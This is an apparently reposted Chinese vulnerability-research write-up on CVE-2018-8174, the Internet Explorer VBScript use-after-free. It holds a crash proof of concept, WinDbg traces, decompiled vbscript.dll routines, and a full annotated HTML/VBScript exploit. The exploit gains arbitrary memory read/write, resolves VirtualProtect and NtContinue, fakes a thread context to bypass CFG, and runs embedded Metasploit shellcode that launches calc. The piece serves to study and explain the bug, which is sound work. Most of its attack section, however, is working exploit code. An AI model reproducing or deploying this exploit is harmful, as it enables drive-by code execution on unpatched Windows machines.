CVE-2018-8174:从UAF到任意地址读写

原文地址:https://www.freebuf.com/vuls/172983.html

0x00 背景

2018年5月9日,360发表Blog “Analysis of CVE-2018-8174 VBScript 0day and APT actor related toOffice targeted attack” 揭露了利用“双杀”0day发起的APT攻击,其中使用的漏洞就是IE vbscript 0day:CVE-2018-8174,不久该样本就在互联网被公布。由于360的Blog并没有对漏洞原理和任意地址读写的利用方法详细介绍,且原始样本混淆严重,笔者对样本进行了简化,重点说明该漏洞的原理和如何利用该漏洞实现任意地址读写,希望帮助大家更好的理解这个漏洞利用程序。

身为漏洞学习者,分析之前明确分析目的:
1、uaf漏洞本身的成因
2、CVE-2018-8174漏洞的成因
3、猜测并验证vbs引擎如何去修复该漏洞
4、简单探测vbs虚拟机机制、更深层次的去理解vbs对象,学习更细粒度的调试技巧,学习总结该漏洞Exp构造方法。
5、学习针对vbs引擎的windbg插件扩展
6、尝试还原完整利用。

//关键词:UAF 任意地址写 攻击虚表 ZwContinue 改变上下文

0x01 漏洞原理

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<html lang="en">
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<script language="vbscript">
Dim array_a
Dim array_b(1)
Class Trigger
Private Sub Class_Terminate()
Set array_b(0)=array_a(1)
array_a(1)=1
End Sub
End Class
Sub UAF
ReDim array_a(1)
Set array_a(1) = New Trigger
Erase array_a
End Sub
Sub TriggerVuln
array_b(0)=0
End Sub
Sub StartExploit
UAF
TriggerVuln
End Sub
StartExploit
</script>
</body>
</html>

创建了一个Trigger类的实例赋值给数组array_a (1),并通过Erase array_a清空array_a中的元素,触发脚本中Class_Terminate的调用,其中增加了一个array_b(0)对Trigger实例的引用(Trigger实例引用计数+1),再通过array_a (1)= 1删除array_a (1) 对Trigger实例的引用(Trigger实例引用计数-1)来平衡引用计数,Trigger实例会被释放,但是array_b(0)仍然保留了这个Trigger实例的引用,即为悬挂指针,array_b(0) = 0访问未分配内存触发漏洞。开启hpa和ust观察漏洞现场: (iexplore.exe!!!!!!!!!!!!!!!!!!!!!!!!!! not iexplorer.exe!!!!)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
0:000> g
(d08.388): Access violation - code c0000005 (!!! second chance !!!)
eax=05f4ffd0 ebx=06c44fe0 ecx=00000009 edx=00000002 esi=06c44fe0 edi=00000009
eip=762c4971 esp=0475cd64 ebp=0475cd6c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
OLEAUT32!VariantClear+0xb3:
762c4971 8b08 mov ecx,dword ptr [eax] ds:0023:05f4ffd0=????????
0:005> !heap -p -a eax
address 05f4ffd0 found in
_DPH_HEAP_ROOT @ 671000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
83a0f3c: 5f4f000 2000
6ee190b2 verifier!AVrfDebugPageHeapFree+0x000000c2
77cf65f4 ntdll!RtlDebugFreeHeap+0x0000002f
77cba0aa ntdll!RtlpFreeHeap+0x0000005d
77c865a6 ntdll!RtlFreeHeap+0x00000142
778998cd msvcrt!free+0x000000cd
6ac8406c vbscript!VBScriptClass::`vector deleting destructor'+0x00000019
6ac8411a vbscript!VBScriptClass::Release+0x00000043//
762c4977 OLEAUT32!VariantClear+0x000000b9
6c59e433 IEFRAME!Detour_VariantClear+0x0000002f
762de325 OLEAUT32!ReleaseResources+0x000000a3//OLEAUT32模块负责相关数据的清理
762ddfb3 OLEAUT32!_SafeArrayDestroyData+0x00000048
762e5d2d OLEAUT32!SafeArrayDestroyData+0x0000000f
762e5d13 OLEAUT32!Thunk_SafeArrayDestroyData+0x00000039
6acc267f vbscript!VbsErase+0x00000057 //vbscript模块负责对象指针的拆除
6ac73854 vbscript!StaticEntryPoint::Call+0x00000011
6ac7586e vbscript!CScriptRuntime::RunNoEH+0x00001c10
6ac74ff6 vbscript!CScriptRuntime::Run+0x00000064
6ac74f79 vbscript!CScriptEntryPoint::Call+0x00000051
6ac7586e vbscript!CScriptRuntime::RunNoEH+0x00001c10
6ac74ff6 vbscript!CScriptRuntime::Run+0x00000064
6ac74f79 vbscript!CScriptEntryPoint::Call+0x00000051
6ac7586e vbscript!CScriptRuntime::RunNoEH+0x00001c10
6ac74ff6 vbscript!CScriptRuntime::Run+0x00000064
6ac74f79 vbscript!CScriptEntryPoint::Call+0x00000051
6ac7512b vbscript!CSession::Execute+0x000000c8
6ac7536e vbscript!COleScript::ExecutePendingScripts+0x00000146
6ac80e4a vbscript!COleScript::ParseScriptTextCore+0x00000247
6ac793e8 vbscript!COleScript::ParseScriptText+0x0000002b
66e0f774 mshtml!CScriptCollection::ParseScriptText+0x00000218
66e0f58c mshtml!CScriptElement::CommitCode+0x000003c2
66e0f34f mshtml!CScriptElement::Execute+0x000000c6
66df2d52 mshtml!CHtmParse::Execute+0x0000004a

05f4ffd0是一块已经释放的内存,windbg记录了对该地址访问的代码回溯情况。

vbscript!VbsErase即对应了脚本中的Erase,而eax正是被VBScriptClass::Release函数释放的VBScriptClass对象也就是脚本中的Trigger实例。这里看下VBScriptClass::Release的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
LONG __stdcall VBScriptClass::Release(VBScriptClass *this)
{
VBScriptClass *v1; // ebx@1
volatile LONG *v2; // edi@1
LONG v4; // [sp+14h] [bp+8h]@1

v1 = this;
v2 = (volatile LONG *)((char *)this + 4);
v4 = InterlockedDecrement((volatile LONG *)this + 1);//对引用计数减一
if ( !v4 )//引用计数为0 开始释放
{
InterlockedIncrement(v2); //引用计数加一
VBScriptClass::TerminateClass(v1);//重载Terminate_Class
v4 = InterlockedDecrement(v2);//引用计数减一
if ( !v4 )
{
if ( v1 )
(*(void (__thiscall **)(VBScriptClass *, signed int))(*(_DWORD *)v1 + 104))(v1, 1);//调用虚表析构函数
}
}
return v4;
}

Release函数中,当 VBScriptClass::TerminateClass(v1)执行时(内部会判断该函数是否重载,若存在重载则调用用户定义的重载函数),最后调用类虚函数表中的析构函数进行最后释放处理。尽管释放了内存,但是,留下了悬挂指针array_b(0)。

Kanxue “输出全靠吼”师傅的文章”探索CVE-2018-8174中,提出了下面的问题并进行了研究:

Release函数逻辑上并没什么问题,从C/C++开发的角度看,我们较难去控制重载的析构函数做了哪些危险的操作。所以可以思考一下该漏洞应如何去修复?要弄清楚这个问题,我们得跟踪重载的Terinate函数的调用流程。

我们来看看TerminateClass函数的逆向结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __thiscall VBScriptClass::TerminateClass(VBScriptClass *this)
{
VBScriptClass *v1; // esi@1
int result; // eax@1
VAR *v3; // ecx@2
struct IDispatch *v4; // eax@5
VARIANTARG pvarg; // [sp+4h] [bp-14h]@5
int v6; // [sp+14h] [bp-4h]@4

v1 = this;
result = NameTbl::FBaseThread(this);
if ( result )
{
v3 = (VAR *)*((_DWORD *)v1 + 7);//this+1c 保存一个指向记录用户自定义重载信息的结构
if ( v3 ) //V3不为空继续,this+1c 处的字段判断用户是否重载了TerminateClass函数
{
if ( !*((_DWORD *)v1 + 8) )
{
*((_DWORD *)v1 + 8) = 1;
result = VAR::IsFunction(v3, (struct IEntryPoint **)&v6);
if ( result )
{
v4 = (struct IDispatch *)(*(int (__thiscall **)(VBScriptClass *))(*(_DWORD *)v1 + 92))(v1);
VAR::SetIDispatch((VAR *)&pvarg, v4);
(*(void (__stdcall **)(_DWORD, _DWORD, _DWORD, VARIANTARG *, signed int))(*(_DWORD *)v6 + 16))(
0, //Vbscript!CscriptEntryPoint::Call
0, //该函数将Trigger结构中用户自定义的Terminate函数传递给CScriptRuntime类 ,交由虚拟机解释执行
0,
&pvarg,
2);
result = VAR::Clear(&pvarg);//pvarg结构清理
}
}
}
}
return result;
}

Vbscript!CsciptEntryPoint::Call逆向结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
signed int __thiscall CScriptEntryPoint::Call(CScriptEntryPoint *this, VARIANTARG *a2, int a3, struct VAR *a4, VARIANTARG *pvargSrc, int a6)
{
CScriptEntryPoint *v6; // esi@1
int v7; // eax@2
int v8; // esi@4
signed int result; // eax@4
char v10; // [sp+4h] [bp-E8h]@2

v6 = this;
if ( a3 == *(_WORD *)(*((_DWORD *)this + 4) + 36) )
{
CScriptRuntime::CScriptRuntime((CScriptRuntime *)&v10);
v7 = CScriptRuntime::Init(*((volatile LONG **)v6 + 7), (int)v6 + 8, pvargSrc, a3, (int)a4, a6);
if ( v7 >= 0 )
v7 = CScriptRuntime::Run(a2);
v8 = v7;
sub_6E4F18DB(&v10);
result = v8;
}
else
{
result = -2146827838;
}
return result;
}

可以看到,整个的释放过程基本都是通过引用计数来判断。在上面作者的文章中,通过补丁分析,可以看到漏洞修复逻辑。

0x02 漏洞利用

UAF在之前的HEVD学习中,也大致学习了一下,而利用的关键,则是要使用这个悬挂指针操作内存。

下来,我们看下POC:(测试版本,其中MsgBox和IsEmpty为测试需要,可适当增减)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
<html lang="en">
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>

<SCRIPT LANGUAGE="VBScript">

Dim ab
Dim wild_ref_arr_a(6), wild_ref_arr_b(6)
Dim idx
Dim aa(40)
Dim fake_array, fake_str
Dim rw_var
Dim setprop_a_1, setprop_a_2
Dim getp_a, getp_b
Dim api_NtContinue, api_VirtualProtect
rw_var = 195948557

idx = 195890093

fake_array = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
fake_str = Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")


Function tostring(ByVal Number, ByVal Length)
str = Hex(Number)
If Len(str) < Length Then
str = String(Length - Len(str), "0") &str
Else
str = Right(str, Length)
End If
tostring = str
End Function

Function addr2str(ByVal value)
Dim high, low
high = tostring((value And &hffff0000) / &h10000, 4)
low = tostring(value And &hffff&, 4)
addr2str = Unescape("%u" &low &"%u" &high)
End Function

Function make_ntcontinue_bytes
Dim i, str_addr, bytes, v1_2, v3_4, v5_6, v7_8
MsgBox "make_ntcontinue_bytes"
str_addr = tostring(api_NtContinue, 8)//00344a94 37 00 37 00 43 00 37 00-35 00 35 00 36 00 38 00 7.7.C.7.5.5.6.8.
IsEmpty(str_addr)
IsEmpty(api_NtContinue)//00000003 00000000 77c75568 00000000
IsEmpty(bytes)
v1_2 = Mid(str_addr, 1, 2)//00344abc 37 00 37 00
IsEmpty(v1_2)
v3_4 = Mid(str_addr, 3, 2)//00344b5c 43 00 37 00
IsEmpty(v3_4)
v5_6 = Mid(str_addr, 5, 2)//0027c52c 35 00 35 00
IsEmpty(v5_6)
v7_8 = Mid(str_addr, 7, 2)//003289d4 36 00 38 00
IsEmpty(v7_8)

bytes = ""
bytes = bytes &"%u0000%u" &v7_8 &"00"
//00344b34 25 00 75 00 30 00 30 00-30 00 30 00 25 00 75 00 %.u.0.0.0.0.%.u.
//00344b44 36 00 38 00 30 00 30 00-00 00 00 00 f5 9e 1e 5a 6.8.0.0........Z
IsEmpty(bytes)
For i=1 To 3
bytes = bytes &"%u" &v3_4 &v5_6
bytes = bytes &"%u" &v7_8 &v1_2
Next
IsEmpty(bytes)

bytes = bytes &"%u" &v3_4 &v5_6
IsEmpty(bytes)
bytes = bytes &"%u00" &v1_2
MsgBox "make_ntcontinue_bytes!!!!!!!!!!!!!!!!!!!!"
IsEmpty(bytes)

//002c151c 25 00 75 00 30 00 30 00-30 00 30 00 25 00 75 00 %.u.0.0.0.0.%.u.
//002c152c 36 00 38 00 30 00 30 00-25 00 75 00 43 00 37 00 6.8.0.0.%.u.C.7.
//002c153c 35 00 35 00 25 00 75 00-36 00 38 00 37 00 37 00 5.5.%.u.6.8.7.7.
//002c154c 25 00 75 00 43 00 37 00-35 00 35 00 25 00 75 00 %.u.C.7.5.5.%.u.
//002c155c 36 00 38 00 37 00 37 00-25 00 75 00 43 00 37 00 6.8.7.7.%.u.C.7.
//002c156c 35 00 35 00 25 00 75 00-36 00 38 00 37 00 37 00 5.5.%.u.6.8.7.7.
//002c157c 25 00 75 00 43 00 37 00-35 00 35 00 25 00 75 00 %.u.C.7.5.5.%.u.
//002c158c 30 00 30 00 37 00 37 00-00 00 8b 58 1c 01 d3 8b 0.0.7.7....X....

make_ntcontinue_bytes = Unescape(bytes)
//0:005> db 00344b0c
//00344b0c 00 00 00 68 55 c7 77 68-55 c7 77 68 55 c7 77 68 ...hU.whU.whU.wh
//00344b1c 55 c7 77 00

//0:005> dd 00344b0c+3 L4
//00344b0f 77c75568 77c75568 77c75568 77c75568

//0:005> dd 00344b0c -4 L1
//00344b08 00000014 长度
IsEmpty(make_ntcontinue_bytes)
End Function

Function make_virtualprotect_bytes(addr)//bypass cfg
Dim bytes
MsgBox "make_virtualprotect_bytes"
IsEmpty(bytes) //00000000 00000000 00000000 00000000
bytes = String(&h87ee&, Unescape("%u4141"))
IsEmpty(bytes) //00000008 00000336 0298169c 00000362
//0298169c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
bytes = bytes &addr2str(addr)//shellcode地址续在bytes后面
IsEmpty(bytes)
bytes = bytes &addr2str(addr)//shellcode地址续在bytes后面 lpAddress=addr
IsEmpty(bytes)
bytes = bytes &addr2str(&h3000)//0x3000续在bytes后面 dwSize=0x3000
IsEmpty(bytes)
bytes = bytes &addr2str(64)//0x40地址续在bytes后面 PAGE_EXECUTE_READWRITE
IsEmpty(bytes)
bytes = bytes &addr2str(addr - 8)//shellcode-8地址续在bytes后面 old_protect地址
IsEmpty(bytes)
bytes = bytes &String(6, Unescape("%u4242"))//6*0x4242续在bytes后面 填充
IsEmpty(bytes)


bytes = bytes &make_ntcontinue_bytes()//攻击所需虚表
IsEmpty(bytes)
bytes = bytes &String((&h80000 - LenB(bytes)) / 2, Unescape("%u4141"))
make_virtualprotect_bytes = bytes
End Function

Function make_final_bytes(addr)
Dim bytes
Dim addr1
MsgBox "make_final_bytes"
IsEmpty(addr)
addr1 = addr + 35
IsEmpty(addr1)
bytes = ""
bytes = bytes &addr2str(addr1)
IsEmpty(bytes)
bytes = bytes &String((184 - LenB(bytes)) / 2, Unescape("%4141"))//regs
IsEmpty(bytes)
bytes = bytes &addr2str(api_VirtualProtect)//context.eip
IsEmpty(bytes)
bytes = bytes &addr2str(27)//0000001b
IsEmpty(bytes)
bytes = bytes &addr2str(0)//00000000
IsEmpty(bytes)
bytes = bytes &addr2str(addr) //context.esp
IsEmpty(bytes)
bytes = bytes &addr2str(35)//00000023
IsEmpty(bytes)
bytes = bytes &String((1024 - LenB(bytes)) / 2, Unescape("%u4343"))
IsEmpty(bytes)
make_final_bytes = bytes //Context
IsEmpty(make_final_bytes)
End Function

Sub trigger_var_clear
setprop_a_1.mem(rw_var) = &h4d
MsgBox("trigger_var_clear")
setprop_a_1.mem(rw_var+8) = 0
End Sub

Function shellcode()
' windows/exec - 196 bytes
' http://www.metasploit.com
' VERBOSE=false, EXITFUNC=process, CMD=calc
sc_str = Unescape("%u0000%u0000%u0000%u0000") &Unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u0063")
MsgBox "shellcode"
shellcode = sc_str
IsEmpty(shellcode)
End Function

Function GetUint32(addr)
Dim value
//IsEmpty(addr)
//MsgBox "GetUint32"
//IsEmpty(rw_var)
setprop_a_1.mem(rw_var + 8) = addr + 4 //这里通过修改rw_var + 8处为目标地址+4
setprop_a_1.mem(rw_var) = 8 //这里通过修改vt=VT_BSTR 利用BSTR特性 lenB取出string地址-4处的LONG值 作为返回值
//IsEmpty(rw_var)
value = setprop_a_1.Read_Memory //拿到目标地址处的值
setprop_a_1.mem(rw_var) = 2
GetUint32 = value
//IsEmpty(rw_var)
//IsEmpty(GetUint32)
End Function

Function read_unit32_low_four(addr)
' Note: &hffff = -1, &hffff& = 0xffff = 65535
read_unit32_low_four = GetUint32(addr) And &hffff&
End Function

Function read_unit32_low_two(addr)
read_unit32_low_two = GetUint32(addr) And &hff
End Function

Function cmp_str(str1, str2)
Dim str3, i
str3 = ""
For i = 0 To Len(str2) - 1
str3 = str3 &Chr(read_unit32_low_two(str1 + i))
Next
cmp_str = StrComp(UCase(str3), UCase(str2))
End Function

Function GetBaseAddrByPoiAddr(addr)
Dim addr_allign
//MsgBox "GetBaseAddrByPoiAddr"
//IsEmpty(addr)
addr_allign = addr And &hffff0000
//IsEmpty(addr_allign)

' 20 69 6E 20 44 4F 53 20 | in DOS
Do While GetUint32(addr_allign + &h68) <> &h206E6920 Or GetUint32(addr_allign + &h6c) <> &h20534F44
addr_allign = addr_allign - &h10000
Loop
//IsEmpty(addr_allign)

GetBaseAddrByPoiAddr = addr_allign
End Function


Function GetModuleFromImport(mod_base, dllname)
Dim p,i,pImport
Dim delta
//MsgBox "mod_base"
p = GetUint32(mod_base + 60) ' IMAGE_DOS_HEADER.e_lfanew
//IsEmpty(mod_base)
//IsEmpty(mod_base)
p = GetUint32(mod_base + p + 128) ' IMAGE_DIRECTORY_ENTRY_IMPORT
//IsEmpty(p)
pImport = mod_base + p
//IsEmpty(pImport)
i = 0
Do While True
Dim name_off
name_off = GetUint32(pImport + i*20 + 12) ' IAMGE_IMPORT_DESCRIPTOR.Name ����ģ�� ����ģ��
If name_off = 0 Then
GetModuleFromImport = 3131899904 '&hBAAD0000
Exit Function
Else
If cmp_str(mod_base + name_off, dllname) = 0 Then
Exit Do
End If
End If
i = i+1
Loop

delta = GetUint32(pImport + i*20 + 16)//IAT RVA
//MsgBox "delta"
//IsEmpty(dllname)
//IsEmpty(delta)
GetModuleFromImport = GetBaseAddrByPoiAddr(GetUint32(mod_base + delta))//取出第一个导入函数地址 获取目标模块基地址
End Function

Function GetProcAddress(mod_base, api_name)
Dim p,i,pExport
Dim pAddressOfFunctions,pNameBase,pAddressOfNameOrdinals
Dim ordinal

p = GetUint32(mod_base + 60 ) ' IMAGE_DOS_HEADER.e_lfanew
p = GetUint32(mod_base + p + 120) ' IMAGE_DIRECTORY_ENTRY_IMPORT

pExport = mod_base + p
pAddressOfFunctions = mod_base + GetUint32(pExport + 28) ' IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
pNameBase = mod_base + GetUint32(pExport + 32) ' IMAGE_EXPORT_DIRECTORY.AddressOfNames
pAddressOfNameOrdinals = mod_base + GetUint32(pExport + 36) ' IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals

i = 0
Do While True
Dim name_off
name_off = GetUint32(pNameBase + i*4)
If cmp_str(mod_base+name_off, api_name) = 0 Then
Exit Do
End If
i = i + 1
Loop

ordinal = read_unit32_low_four(pAddressOfNameOrdinals + i*2)
p = GetUint32(pAddressOfFunctions + ordinal*4)
GetProcAddress = mod_base + p
End Function


Function read_longint
setprop_a_1.mem(rw_var) = 3 //妙蛙 这里通过修改vt=VT_I2 short 将rw_var+8处低位两字节修改为3 VT_I4 使得rw_var处的VARIANT类型变得可读
//MsgBox "setprop_a_1.mem(rw_var) = 3"
//IsEmpty(rw_var)
read_longint = setprop_a_1.mem(rw_var+8)
//MsgBox "read_longint = setprop_a_1.mem(rw_var+8)"
//IsEmpty(read_longint)
End Function

Sub set_need_longint(ByRef a)
//MsgBox "set_need_longint"
//IsEmpty(setprop_a_1)
setprop_a_1.mem(rw_var+8) = a
//MsgBox "setprop_a_1.mem(rw_var+8) = a"
//IsEmpty(rw_var)
End Sub

Sub EmptyFunc
End Sub


Function exp_c
On Error Resume Next //����ij������"����ʱ����"ʱ����������У����жϡ�
Dim a
a = EmptyFunc
a = null
//MsgBox "set_need_longint a"
//IsEmpty(a)
set_need_longint(a)
MsgBox "read_longint"
//IsEmpty(a)
exp_c = read_longint()
End Function

Class class_ter_a
Private Sub Class_Terminate()
Set wild_ref_arr_a(idx) = ab(1)
idx = idx + 1
ab(1) = 1
End Sub
End Class

Class class_ter_b
Private Sub Class_Terminate()
Set wild_ref_arr_b(idx) = ab(1)
idx = idx + 1
ab(1) = 1
End Sub
End Class

Class empty_class
End Class

Class class_setprop_a
Dim mem

Function P
End Function


Function SetProp(Value)
mem = Value
SetProp = 0
End Function
End Class

Class class_fun_a
Dim mem

' Note: the func name len is magic
Function Read_Memory
//MsgBox "Read_Memory"
//IsEmpty(Read_Memory)
Read_Memory = LenB(mem(rw_var + 8))
//IsEmpty(Read_Memory)

End Function

Function SPP
End Function
End Class

Class class_getp_a //������1
Public Default Property Get P
Dim fun
'0000200C 00000000
P = CDbl("174088534690791e-324")

For i=0 To 6
wild_ref_arr_a(i) = 0
Next
Set fun = New class_fun_a
fun.mem = fake_array

For i=0 To 6
Set wild_ref_arr_a(i) = fun
Next

End Property
End Class

Class class_getp_b //������2
Public Default Property Get P
Dim fun
'00000003 00000000
P = CDbl("636598737289582e-328")

For i=0 To 6
wild_ref_arr_b(i) = 0
Next

Set fun = New class_fun_a
fun.mem = fake_str

For i=0 To 6
Set wild_ref_arr_b(i) = fun
Next
End Property
End Class

Set getp_a = New class_getp_a
Set getp_b = New class_getp_b

Sub exp_a
For i=0 To 17
Set aa(i) = New empty_class
Next

For i=20 To 38
Set aa(i) = New class_setprop_a
Next

idx = 0
For i=0 To 6
ReDim ab(1)
Set ab(1) = New class_ter_a
Erase ab
Next

Set setprop_a_1 = New class_setprop_a

idx = 0
For i=0 To 6
ReDim ab(1)
Set ab(1) = New class_ter_b
Erase ab
Next

Set setprop_a_2 = New class_setprop_a

End Sub

Sub exp_b
setprop_a_1.SetProp(getp_a)
setprop_a_2.SetProp(getp_b)
//ʵ�������ַ��ȡ
rw_var = setprop_a_2.mem
//IsEmpty(rw_var)
End Sub


Sub StartExploit
exp_a()
exp_b()
//MsgBox "leakaddr"
//IsEmpty(rw_var)
leakaddr = exp_c()
//IsEmpty(leakaddr)
//MsgBox "GetBaseAddrByPoiAddr"
vbscript_mod_base = GetBaseAddrByPoiAddr(GetUint32(leakaddr))
//MsgBox "vbscript_mod_base"
// IsEmpty(vbscript_mod_base)
msvcrt_mod_base = GetModuleFromImport(vbscript_mod_base, "msvcrt.dll")
// MsgBox "msvcrt_mod_base"
//IsEmpty(msvcrt_mod_base)
kernelbase_mod_base = GetModuleFromImport(msvcrt_mod_base, "kernelbase.dll")
//MsgBox "kernelbase_mod_base"
// IsEmpty(kernelbase_mod_base)
ntdll_mod_base = GetModuleFromImport(msvcrt_mod_base, "ntdll.dll")
// MsgBox "ntdll_mod_base"
//IsEmpty(ntdll_mod_base)
api_VirtualProtect = GetProcAddress(kernelbase_mod_base, "VirtualProtect")
// MsgBox "api_VirtualProtect"
//IsEmpty(api_VirtualProtect)
api_NtContinue = GetProcAddress(ntdll_mod_base,"NtContinue")
//MsgBox "api_NtContinue"
//IsEmpty(api_NtContinue)


set_need_longint(shellcode())
sc = read_longint() + 8
MsgBox "shellcode"
IsEmpty(sc)
set_need_longint(make_virtualprotect_bytes(sc))
v2 = read_longint() + &h10FDC
MsgBox "v2"
IsEmpty(v2)
set_need_longint(make_final_bytes(v2))
v3 = read_longint()

trigger_var_clear()

End Sub


StartExploit


</script>
</body>
</html>

先创建18个空的empty_class对象,保存在数组aa(0)-aa(17);接着创建19个class_setprop_a类对象,保存在aa(20)-aa(38),即初始化aa数组

循环7次,ab数组保存class_ter_a类对象,清除ab数组,导致重载class_ter_a::Class_Terminate函数,而在重载函数中,使用wild_ref_arr_a数组保存ab(1),即class_ter_a类对象。循环结束,即构造了7个wild_ref_arr_a悬挂指针。

setprop_a_1 = New class_setprop_a,定义对象setprop_a_1 占位之前释放的对象空间,此时setprop_a_1 和 wild_ref_arr_a(6)中各元素均指向同一块内存空间(setprop_a_1 对象)。

再循环7次,ab数组保存class_ter_b类对象,清除a数组,导致重载class_ter_b::Class_Terminate函数,而在这个重载函数中,使用wild_ref_arr_b数组保存ab(1),即class_ter_b类对象。循环结束,即同样又构造了7个wild_ref_arr_b悬挂指针。

Set setprop_a_2 = New class_setprop_a,定义对象setprop_a_2 占位之前释放的对象空间,此时setprop_a_2 和winld_ref_arr_b(6)中个元素均指向同一内存空间(setprop_a_2 对象)。

img

setprop_a_1对象 有个SetProp方法,将class_setprop_a类中的mem成员赋值为class_getp_a类对象getp_a,而getp_a对象默认初始化时,进入属性p,其中再次清空7个wild_ref_arr_a悬挂指针,然后构造7个fun赋值给7个wild_ref_arr_a悬挂指针,class_setprop_a和class_fun_a类具有相同偏移量的mem成员。这里class_fun_a类的mem成员是预先定义好的fake_array数组。一个特定的浮点数174088534690791e-324即“00000005 000005dd 00000000 0000200c”,该数据将返回给调用者class_setprop_a对象的mem成员

同样的,

setprop_a_2对象 也有SetProp方法,将class_setprop_a类中的mem成员赋值为class_getp_b类对象getp_b,而getp_b对象默认初始化时,进入属性p,其中再次清空7个wild_ref_arr_b悬挂指针,然后构造7个fun赋值给7个wild_ref_arr_a悬挂指针。这里class_fun_a类的mem成员是预先定义好的fake_str数组。一个特定的浮点数636598737289582e-328,该数据将返回给调用者class_setprop_a对象的mem成员

1
2
fake_array = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
fake_str = Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")

img

由于7个wild_ref_arr_a悬挂指针后有1个class_setprop_a,7个wild_ref_arr_a悬挂指针是7个class_fun_a,那么最后P属性的返回值必定在class_setprop_a和class_fun_a的错位处混肴,可以证明class_setprop_a指针与class_fun_a重叠即指针地址相同,利用P的值精心构造内存结构将class_fun_a类mem类型从BSTR混肴成Array类型,从而实现任意内存读取。

同样的,7个wild_ref_arr_b悬挂指针后有1个class_setprop_a,7个wild_ref_arr_b悬挂指针是7个class_fun_a,那么最后P属性的返回值必定在class_setprop_a和class_fun_a的错位处混肴,可以证明,class_setprop_a指针与class_fun_a重叠即指针地址相同,利用P的值精心构造内存结构将class_fun_a类mem类型从BSTR混肴成Array类型,从而实现任意内存读取。

当实现混肴后,可以通过class_setprop_a->mem也就是class_fun_a->mem之泄露的地址mem,因为对于VARIANT类型类型对于的SAFEARRAY结构首部有2个USHORT,加起来长度是4,然后将mem赋值成8即string类型,这个string类型长度->cbElements的指针地址赋值为addr+4,这样再通过GetAddrValue获取这个string的长度就等于读取addr的指针指向的值,从而实现任意地址读取,最后获取vbsscript.dll等一系列dll导出函数的基址后,通过清空wild_ref_arr_a悬挂指针指针时触发vbscript!VAR::Clear导致shellcode执行

//注意调试之前需要关闭Page Heap选项

调试结果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
